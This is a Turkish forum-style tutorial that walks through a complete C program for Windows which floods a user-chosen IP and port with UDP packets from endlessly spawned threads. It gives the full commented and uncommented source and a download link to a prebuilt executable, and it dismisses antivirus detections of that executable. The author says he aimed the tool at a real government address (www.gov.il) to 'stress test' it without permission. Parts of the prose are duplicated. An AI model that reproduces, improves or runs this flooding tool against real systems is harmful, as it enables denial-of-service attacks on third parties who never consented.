Öncelikle kusura bakmayın. Windows yüklü bir cihazın başındayım ve cygwin, mingw filan da yüklü değil. Bu daha çok bir "proof of concept"tir. Yani minimal kod yazarsanız nasıl bilgisayarınızı en az miktarda yorarak en çok paketi gönderebileceğinizin kanıtıdır.
Sırf microsoft deprecate etti diye scanf ve inet_addr kullanmayacak değilim.. Kullandığınız IDE'de, bu projenin preprocessor tanımlarına...
_CRT_SECURE_NO_WARNINGS
_WINSOCK_DEPRECATED_NO_WARNINGS
... değerlerini ekleyin.
Hızlıca başlıyoruz. Öncelikle windows için kullanacağımız kütüphaneleri tanımlayalım ve winsock2 kütüphanesinin gerektirdiği statik linklemeyi yapalım.
Mesaj boyutunu ilerde kurcalamak isteriz. Ondan şimdiden bir sabit değer olarak tanımlayalım.
Ana programda tek bir hedef adresi ve tek bir mesaj belirleyeceğiz, bütün thread'ler bunları okuyacak. Thread-safety konusunda bir sorunumuz yok çünkü bu değişkenler thread'ler tarafından sadece okunacak ve ana thread'imiz bu değişkenleri thread açmaya başlamadan çok önce zaten tanımlamış ve bırakmış olacak.
Tembel bir adam olduğumdan C kullanırken fonksiyonları önce declare edip sonra fonksiyonu yazmaktan nefret ederim. Çağrılacak tek fonksiyonumuz var, thread fonksiyonu. Şimdiden yazalım çünkü yapılacak iş çok kolay.
Ardından ana fonksiyonumuza başlayacağız. winsock2 kütüphanesi bizden WSA'yı init etmemizi bekler.
Hedefimiz bir IPv4 adresi olacaktır...
Kullanıcıdan ip ve port bilgisini alalım.
Şimdi de tek satırda, manyaklar gibi thread açalım.
CreateThread fonksiyonu bize ya yeni thread'in "handle"ını döndürür, veya bir hata olmuşsa NULL değerini.
Başarılı oldukça yeni thread açalım, başarılı olmazsak 5 saniye dinlenelim...
.... Şu anda bulunduğum ofiste speed test yaptığımda upload hızımın 150mbps olduğunu gördüm. 104.18.36.14 adresine (www.gov.il) bir iyilik olsun diye stres testi yapayım dedim - çökecek değil ya benim yüzümden, hissetmeyeceklerdir bile... ve task manager bana wireless upload'dan 150mbps kullandığımı söyledi. Demek ki verimli.. Aslında bu kadar düşük upload hızında multithreading destek değil köstek olur. Ama bu programı zaten gbps seviyesinde upload hızı olan yerlerde kullanmak gerekir.
Baştan sona, yorumlar olmadan bütün kod...
64 bit Release executable: https://file.io/JY75kCt0XF5j
Virüstotal: VirusTotal
Virustotal konusunda not: PE header parse ettiğimden, yani static library linklediğimden dolayı kızmış beyfendiler...
Sırf microsoft deprecate etti diye scanf ve inet_addr kullanmayacak değilim.. Kullandığınız IDE'de, bu projenin preprocessor tanımlarına...
_CRT_SECURE_NO_WARNINGS
_WINSOCK_DEPRECATED_NO_WARNINGS
... değerlerini ekleyin.
Hızlıca başlıyoruz. Öncelikle windows için kullanacağımız kütüphaneleri tanımlayalım ve winsock2 kütüphanesinin gerektirdiği statik linklemeyi yapalım.
C:
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
Mesaj boyutunu ilerde kurcalamak isteriz. Ondan şimdiden bir sabit değer olarak tanımlayalım.
C:
#define MESSAGE_SIZE 500
Ana programda tek bir hedef adresi ve tek bir mesaj belirleyeceğiz, bütün thread'ler bunları okuyacak. Thread-safety konusunda bir sorunumuz yok çünkü bu değişkenler thread'ler tarafından sadece okunacak ve ana thread'imiz bu değişkenleri thread açmaya başlamadan çok önce zaten tanımlamış ve bırakmış olacak.
C:
SOCKADDR_IN hedefAdres;
size_t hedefAdresSize;
char mesaj[MESSAGE_SIZE];
Tembel bir adam olduğumdan C kullanırken fonksiyonları önce declare edip sonra fonksiyonu yazmaktan nefret ederim. Çağrılacak tek fonksiyonumuz var, thread fonksiyonu. Şimdiden yazalım çünkü yapılacak iş çok kolay.
C:
void Saldiri(void* parametre) {
//Soketimizi açıyoruz. IPv4, datagram, UDP...
SOCKET soket = socket(AF_INET, SOCK_DGRAM, 0);
//Soket açamamışsak bu thread manasızdır, çıkalım ki açabildiğinde yeni soket açsın.
if (soket < 0) return;
//sendTo kullanmaktan nefret ederim. Hep aynı adrese paket göndereceksek
//"connect" ederiz o adrese, sonra "send" kullanırız.
//Hedef adres boyutunu inatla bir değişkende saklama sebebim burası.
//Her ayrı thread bir nanosaniye bile olsa sockaddr_in size'ını bulmaya uğraşmasın.
connect(soket, &hedefAdres, hedefAdresSize);
//send komutu gönderim yapabilmişse gönderdiği miktarı, yapamamışsa SOCKET_ERROR yani
//-1 değerini döndürür. Bunu test etmek için bir değişken açıyoruz..
int sonuc = 0;
//... sonra da bu SOCKET_ERROR değeri gelene kadar deliler gibi paket gönderiyoruz.
while (sonuc > -1) sonuc = send(soket, mesaj, MESSAGE_SIZE, 0);
//soketi "close" edelim. işimiz bitti, hata aldık, tekrar deneme yapmak
//yeni thread'in görevidir.
close(soket);
}
Ardından ana fonksiyonumuza başlayacağız. winsock2 kütüphanesi bizden WSA'yı init etmemizi bekler.
C:
int main() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
..........
Hedefimiz bir IPv4 adresi olacaktır...
C:
......
hedefAdres.sin_family = AF_INET;
Kullanıcıdan ip ve port bilgisini alalım.
C:
//Kullanıcı adam gibi bir adres girene kadar inatla tekrar tekrar isteyeceğim.
while (1) {
printf("Hedef IP adresini girin: ");
char adresString[16];
//scanf'te alışık olmadığınız bir yapı kullanmış olabilirim.
//aslında % işaretinden sonra alanın max kaç karakter olacağını
//yazabilirsiniz.
//scanf'in bir şey döndürdüğünü de hiç bilmiyor olabilirsiniz.
//doldurabildiği değişken sayısını döndürür. Ciddi bir hata ile
//karşılaşırsa -1 döndürür. Biz sadece bir char array dolmasını
//istiyoruz, bundan dolayı 1 dönerse adam doğru dürüst bir şey girmiş
//demektir.
if (scanf("%15s", adresString) > 0) {
//inet_addr komutu bir string'i ip adresini döndürür.
//eğer ip olamayacak bir string ise, INADDR_NONE sonucunu verir.
hedefAdres.sin_addr.s_addr = inet_addr(adresString);
//Eleman eğer bu değeri almamışsa, yani adam gibi bir IP adresi girmişse...
if (hedefAdres.sin_addr.s_addr != INADDR_NONE) {
//... tekrar sonsuz döngü, portu isteyeceğiz.
while (1) {
printf("Şimdi de port girin bakem: ");
u_short port;
//inatla unsigned short tarıyoruz. Önceki durumdaki gibi, eğer 1
//değeri gelirse kullanıcı adam gibi bir ushort değeri girmiştir.
if (scanf("%hu", &port) == 1) {
//byte sırasını ters çevirip network order'da girmek için htons
//fonksiyonunu kullanmalıyız.
hedefAdres.sin_port = htons(port);
//boyutu da hatırlayalım ki her soket açarken sorulacak.
hedefAdresSize = sizeof(hedefAdres);
//buraya kadar gelmişse "break" edip "port isteme" sonsuz döngüsünden
//çıkalım.
break;
}
//Buraya gelmişse adam mesel '80' değil de 'osman' yazmıştır.
//Kibarca uyaralım.
printf("Adam gibi port adresi gir yahu...\n\n");
}
//buraya gelmişsek adam hem IP, hem de portu doğru girmiştir. Döngüden
//çıkalım.
break;
}
}
//buraya geldiğimize göre adam hatalı bir değer girdi. Düzgün IP adresi girmesi
//gerektiğini hatırlatalım.
printf("Lütfen adam gibi adres giriniz.\n\n");
}
Şimdi de tek satırda, manyaklar gibi thread açalım.
C:
while (1) if (CreateThread(NULL, 0, Saldiri, NULL, 0, NULL)) Sleep(5000);
CreateThread fonksiyonu bize ya yeni thread'in "handle"ını döndürür, veya bir hata olmuşsa NULL değerini.
Başarılı oldukça yeni thread açalım, başarılı olmazsak 5 saniye dinlenelim...
.... Şu anda bulunduğum ofiste speed test yaptığımda upload hızımın 150mbps olduğunu gördüm. 104.18.36.14 adresine (www.gov.il) bir iyilik olsun diye stres testi yapayım dedim - çökecek değil ya benim yüzümden, hissetmeyeceklerdir bile... ve task manager bana wireless upload'dan 150mbps kullandığımı söyledi. Demek ki verimli.. Aslında bu kadar düşük upload hızında multithreading destek değil köstek olur. Ama bu programı zaten gbps seviyesinde upload hızı olan yerlerde kullanmak gerekir.
Baştan sona, yorumlar olmadan bütün kod...
C:
#include <stdio.h>
#include <winsock2.h>
#include <Windows.h>
#include <process.h>
#pragma comment(lib, "ws2_32.lib")
#define MESSAGE_SIZE 500
SOCKADDR_IN hedefAdres;
size_t hedefAdresSize;
char mesaj[MESSAGE_SIZE];
void Saldiri(void* parametre) {
SOCKET soket = socket(AF_INET, SOCK_DGRAM, 0);
if (soket < 0) return;
connect(soket, &hedefAdres, hedefAdresSize);
int sonuc = 0;
while (sonuc > -1) sonuc = send(soket, mesaj, MESSAGE_SIZE, 0);
}
int main() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
hedefAdres.sin_family = AF_INET;
while (1) {
printf("Hedef IP adresini girin: ");
char adresString[16];
if (scanf("%15s", adresString) > 0) {
hedefAdres.sin_addr.s_addr = inet_addr(adresString);
if (hedefAdres.sin_addr.s_addr != INADDR_NONE) {
while (1) {
printf("Şimdi de port girin bakem: ");
u_short port;
if (scanf("%hu", &port) == 1) {
hedefAdres.sin_port = htons(port);
hedefAdresSize = sizeof(hedefAdres);
break;
}
printf("Adam gibi port adresi gir yahu...\n\n");
}
break;
}
}
printf("Lütfen adam gibi adres giriniz.\n\n");
}
while (1) if (!CreateThread(NULL, 0, Saldiri, NULL, 0, NULL)) Sleep(5000);
}
64 bit Release executable: https://file.io/JY75kCt0XF5j
Virüstotal: VirusTotal
Virustotal konusunda not: PE header parse ettiğimden, yani static library linklediğimden dolayı kızmış beyfendiler...
Son düzenleme:





